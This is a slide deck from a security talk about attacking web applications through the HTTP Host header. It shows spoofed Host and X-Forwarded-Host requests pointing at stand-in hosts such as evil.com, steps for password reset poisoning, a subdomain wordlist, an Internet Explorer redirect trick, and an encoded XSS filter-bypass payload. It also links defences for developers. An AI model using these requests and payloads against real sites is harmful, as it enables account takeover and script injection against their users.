SlideShare a Scribd company logo
Sergey Belov
@sergeybelove
2 main puproses:
 Virtual host
 Proxy balancer
GET / HTTP/1.1
Host: www.example.com
...
Tampering can leak to:
 Password reset poisoning
 Cache poisoning
 Access to internal hosts
 Cross Site Scripting + filter bypass
Normal cases:
 <a href=“//user/page”>page</a>
 <a href=“http://example.com/user/page”>page</a>
Possible results after tampering:
 Error
 Default host / N/A
 First virtual host (apache / nginx – 000-default.conf)
 Tampered header in result html
GET / HTTP/1.1
Host: www.evil.com
...
Test case:
1) Go to password reset page
2) Spoof HOST header to attacker.com
3) Use victim’s email & submit
http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
http://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/
Possible victims:
• Drupal
• Django
• Joomla
• ...?
For developers:
• https://docs.djangoproject.com/en/1.8/ref/settings/#std:setting-ALLOWED_HOSTS
• https://www.drupal.org/node/2221699
Attacking thru HTTP Host header
Normal cases:
 <a href=“//user/page”>page</a>
 <a href=http://example.com/user/page>page</a>
1) Spoof
GET / HTTP/1.1
Host: www.evil.com
2) Spoof with 2 headers
GET / HTTP/1.1
Host: www.example.com
Host: www.evil.com
3) Spoof with X-Forwarded
GET / HTTP/1.1
Host: www.evil.com
X-Forwarded-Host: evil.com
1,2,3 can leak to perm XSS on
server side
A typical action while penesting – bruteforcing subdomains
What about HOST header bruteforcing?
 Let’s try to bruteforce HOST here!
MSF - /modules/auxiliary/scanner/http/vhost_scanner.rb – isn’t good
valstr = [
"admin",
"services",
"webmail",
"console",
"apps",
"mail",
"intranet",
"intra",
"spool",
"corporate",
"www",
"web"
]
example.com
Prefixes
• beta.example.com
• dev.example.com
• ...
Zones
• example.test
• example.dev
• example.beta
• ...
+ different combinations
https://github.com/BeLove/avhbf - good :)
Facts:
 Originally disclosed by @Black2Fan in 2013
 HOST header appears in result HTML
 Works only in IE
Our goal
–
Spoof HOST header in request by
victim (like a reflected XSS/CSRF)
 Host header after redirect
 Normal case
Response:
...
Location: http://example.com%2flogin.php
Request:
...
Host: example.com
 Host header after redirect
 IE (any version) case
Response:
...
Location: http://example.com%2flogin.php
Request:
...
Host: example.com/login.php
GET /login.phphp/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: pl-PL
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64;
Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: example.com/login.php
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache
Attacking thru HTTP Host header
 XSS filter bypass (original example)
http://blackfan.ru
%252F<img%252Fsrc='x'onerror=alert(1)>
%252F.%252e%252F.%252e%252F%253F%2523
Now
https://sergeybelove.ru/one-button-scan/
can do this check & auto-generate exploits
 http://www.skeletonscribe.net/2013/05/practical-http-host-header-
attacks.html
 https://web.archive.org/web/20131107024350/http://blackfan.ru/
 http://www.acunetix.com/blog/articles/automated-detection-of-host-
header-attacks/
 http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html
Spoof host header while
pentesting1!11!!1!!!!
Any questions?
@sergeybelove

More Related Content

PDF
Building Advanced XSS Vectors
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
PDF
XSS Magic tricks
PPTX
A Forgotten HTTP Invisibility Cloak
PDF
HTTP Request Smuggling via higher HTTP versions
PDF
Offzone | Another waf bypass
PPTX
Waf bypassing Techniques
PPTX
Command injection
Building Advanced XSS Vectors
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
XSS Magic tricks
A Forgotten HTTP Invisibility Cloak
HTTP Request Smuggling via higher HTTP versions
Offzone | Another waf bypass
Waf bypassing Techniques
Command injection

What's hot (20)

PDF
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
PDF
Ekoparty 2017 - The Bug Hunter's Methodology
PDF
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
PDF
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
PDF
Bug Bounty Hunter Methodology - Nullcon 2016
PDF
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
PPTX
Pentesting ReST API
PPTX
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
PDF
Frans Rosén Keynote at BSides Ahmedabad
PPTX
Reverse proxies & Inconsistency
PPTX
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
PDF
Pentesting GraphQL Applications
PDF
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
PPT
Bypass file upload restrictions
PDF
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
PDF
SSRF workshop
PDF
Neat tricks to bypass CSRF-protection
PPTX
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
PDF
Local File Inclusion to Remote Code Execution
PPTX
SSRF exploit the trust relationship
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Ekoparty 2017 - The Bug Hunter's Methodology
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
Bug Bounty Hunter Methodology - Nullcon 2016
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Pentesting ReST API
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
Frans Rosén Keynote at BSides Ahmedabad
Reverse proxies & Inconsistency
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Pentesting GraphQL Applications
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
Bypass file upload restrictions
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
SSRF workshop
Neat tricks to bypass CSRF-protection
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
Local File Inclusion to Remote Code Execution
SSRF exploit the trust relationship
Ad

Viewers also liked (7)

PPTX
Nginx warhead
PDF
CodeFest 2012 - Пентест на стероидах
PDF
CodeFest 2014 - Pentesting client/server API
PDF
(Не)безопасный frontend
PDF
ZeroNights - SmartTV
PPTX
современная практика статического анализа безопасности кода веб приложений
PDF
What Would Steve Do? 10 Lessons from the World's Most Captivating Presenters
Nginx warhead
CodeFest 2012 - Пентест на стероидах
CodeFest 2014 - Pentesting client/server API
(Не)безопасный frontend
ZeroNights - SmartTV
современная практика статического анализа безопасности кода веб приложений
What Would Steve Do? 10 Lessons from the World's Most Captivating Presenters
Ad

Similar to Attacking thru HTTP Host header (6)

PDF
H4x0rs gonna hack
PPT
Htaccess info
PPTX
Http response splitting
PPT
Introduction to Web Server Security
PDF
Http requesting smuggling
PDF
Http requesting smuggling
H4x0rs gonna hack
Htaccess info
Http response splitting
Introduction to Web Server Security
Http requesting smuggling
Http requesting smuggling

Recently uploaded (20)

PDF
Cloud-Scale Log Monitoring _ Datadog.pdf
PPTX
Introuction about ICD -10 and ICD-11 PPT.pptx
PPTX
PptxGenJS_Demo_Chart_20250317130215833.pptx
PPTX
Introduction to Information and Communication Technology
PDF
The New Creative Director: How AI Tools for Social Media Content Creation Are...
PPTX
Slides PPTX World Game (s) Eco Economic Epochs.pptx
PDF
Introduction to the IoT system, how the IoT system works
PDF
An introduction to the IFRS (ISSB) Stndards.pdf
PPTX
Introuction about WHO-FIC in ICD-10.pptx
PDF
Testing WebRTC applications at scale.pdf
PPTX
international classification of diseases ICD-10 review PPT.pptx
PDF
Paper PDF World Game (s) Great Redesign.pdf
DOCX
Unit-3 cyber security network security of internet system
PPTX
Module 1 - Cyber Law and Ethics 101.pptx
PPTX
artificial intelligence overview of it and more
PDF
WebRTC in SignalWire - troubleshooting media negotiation
PPTX
introduction about ICD -10 & ICD-11 ppt.pptx
PPTX
innovation process that make everything different.pptx
PPTX
Job_Card_System_Styled_lorem_ipsum_.pptx
PPTX
CHE NAA, , b,mn,mblblblbljb jb jlb ,j , ,C PPT.pptx
Cloud-Scale Log Monitoring _ Datadog.pdf
Introuction about ICD -10 and ICD-11 PPT.pptx
PptxGenJS_Demo_Chart_20250317130215833.pptx
Introduction to Information and Communication Technology
The New Creative Director: How AI Tools for Social Media Content Creation Are...
Slides PPTX World Game (s) Eco Economic Epochs.pptx
Introduction to the IoT system, how the IoT system works
An introduction to the IFRS (ISSB) Stndards.pdf
Introuction about WHO-FIC in ICD-10.pptx
Testing WebRTC applications at scale.pdf
international classification of diseases ICD-10 review PPT.pptx
Paper PDF World Game (s) Great Redesign.pdf
Unit-3 cyber security network security of internet system
Module 1 - Cyber Law and Ethics 101.pptx
artificial intelligence overview of it and more
WebRTC in SignalWire - troubleshooting media negotiation
introduction about ICD -10 & ICD-11 ppt.pptx
innovation process that make everything different.pptx
Job_Card_System_Styled_lorem_ipsum_.pptx
CHE NAA, , b,mn,mblblblbljb jb jlb ,j , ,C PPT.pptx

Attacking thru HTTP Host header